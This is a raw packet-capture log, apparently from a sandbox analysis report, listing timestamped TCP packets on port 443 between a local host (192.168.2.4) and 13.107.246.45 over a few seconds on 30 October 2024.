Oct 30, 2024 06:17:39.149745941 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.149750948 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.152427912 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.152493954 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.152601004 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.152755022 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.152790070 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.159383059 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.159389019 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.159491062 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.159545898 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.159696102 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.159709930 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.159719944 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.159724951 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.161051035 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.161101103 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.161499023 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.161516905 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.162805080 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.162851095 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.162928104 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.163042068 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.163065910 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.174511909 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.174572945 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.174633980 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.176229000 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.176229000 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.176250935 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.176290989 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.178710938 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.178775072 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.178867102 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.178966999 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.178998947 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.274969101 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.275118113 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.275171995 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.275310040 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.275326967 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.275337934 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.275341988 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.278095007 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.278117895 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.278270006 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.278439999 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.278450966 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.289712906 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.289844036 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.289907932 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.289971113 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.289999962 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.290031910 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.290047884 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.292707920 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.292745113 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.292809010 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.292937994 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.292958975 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.890296936 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.891598940 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.891644955 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.892193079 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.892210960 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.901851892 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.902419090 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.902467012 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.902848005 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.902869940 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.908052921 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.908401966 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.908415079 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.908782005 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.908787966 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.025847912 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.026245117 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.026264906 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.026629925 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.026637077 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.026763916 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.026834011 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.026890039 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.027020931 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.027038097 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.027050972 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.027057886 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.029870033 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.029897928 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.029975891 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.030134916 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.030147076 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.033396959 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.033574104 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.033643007 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.033690929 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.033690929 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.033724070 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.033747911 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.035830021 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.035868883 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.035942078 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.036082029 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.036099911 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.040787935 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.040852070 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.040893078 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.040894032 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.040930986 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.041059971 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.041075945 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.041102886 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.041115999 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.043071985 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.043109894 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.043176889 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.043318987 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.043334007 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.156728983 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.156800985 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.156863928 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.156897068 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.156918049 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.156984091 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.157139063 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.157155991 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.157167912 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.157172918 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.159571886 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.159600973 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.159797907 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.159823895 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.159828901 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.220530033 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.221193075 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.221229076 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.221867085 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.221879959 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.348181963 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.348229885 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.348299026 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.348531961 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.348546982 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.348562002 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.348568916 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.351169109 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.351192951 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.351269007 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.351414919 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.351425886 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.757311106 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.757843018 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.757862091 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.758373976 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.758380890 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.762980938 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.763318062 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.763330936 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.763720989 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.763725996 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.786118031 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.786422014 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.786437988 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.786745071 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.786751032 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.887865067 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.887933969 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.888103008 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.888412952 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.888422966 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.888437033 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.888442039 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.891160965 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.891227961 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.891284943 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.891297102 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.891375065 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.891428947 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.891508102 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.891520977 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.891530037 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.891534090 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.892571926 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.892604113 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.892668009 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.893121958 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.893136024 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.893846989 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.893867970 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.893914938 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.894051075 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.894058943 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.899199009 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.899725914 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.899735928 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.900054932 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.900058985 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.919619083 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.919780970 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.919862032 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.919934034 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.919945002 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.919977903 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.919982910 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.923022032 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.923043966 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:40.923139095 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.923374891 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:40.923384905 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.030549049 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.030704021 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.030770063 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.030930042 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.030930042 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.030946016 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.030955076 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.033973932 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.034008026 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.034071922 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.034197092 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.034209013 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.135075092 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.135550022 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.135566950 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.136018038 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.136022091 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.273983955 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.274142981 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.274204016 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.274530888 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.274545908 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.274558067 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.274563074 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.277720928 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.277741909 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.277827978 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.277946949 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.277959108 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.659419060 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.667180061 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.673511982 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.703825951 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.719449997 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.719470978 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.727252007 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.727262974 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.727741957 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.727746964 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.728216887 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.728224993 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.728889942 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.728893995 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.732717037 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.732728958 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.733155012 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.733160973 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.780772924 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.828833103 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.859069109 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.859364986 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.859412909 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.859724998 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.859797955 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.859838009 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.861423016 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.861427069 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.861438990 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.861459970 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.861516953 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.861520052 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.861567020 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.862065077 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.862070084 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.871844053 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.871861935 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.871871948 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.871887922 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.872116089 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.872133970 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.872147083 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.872154951 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.874140024 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.874140024 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.874161005 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.874171019 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.878951073 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.878982067 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.879039049 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.880414963 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.880434990 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.880486012 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.881314039 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.881334066 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.881385088 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.881406069 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.881421089 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.881561041 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.881570101 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.881866932 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.881879091 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.994159937 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.994206905 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.994349003 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.994359970 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.994379044 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.994436026 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.994574070 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.994590044 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.994600058 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.994605064 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.999404907 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.999424934 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:41.999512911 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.999684095 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:41.999694109 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.004479885 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.005002975 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.005014896 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.006304026 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.006309986 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.142775059 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.142896891 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.142947912 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.143131971 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.143146038 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.143157005 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.143162966 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.147945881 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.147986889 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.148061037 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.148247004 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.148262024 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.609075069 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.609580040 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.609608889 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.610187054 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.610192060 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.632601023 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:42.633035898 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:42.633053064 CET	443	50004	13.107.246.45	192.168.2.4
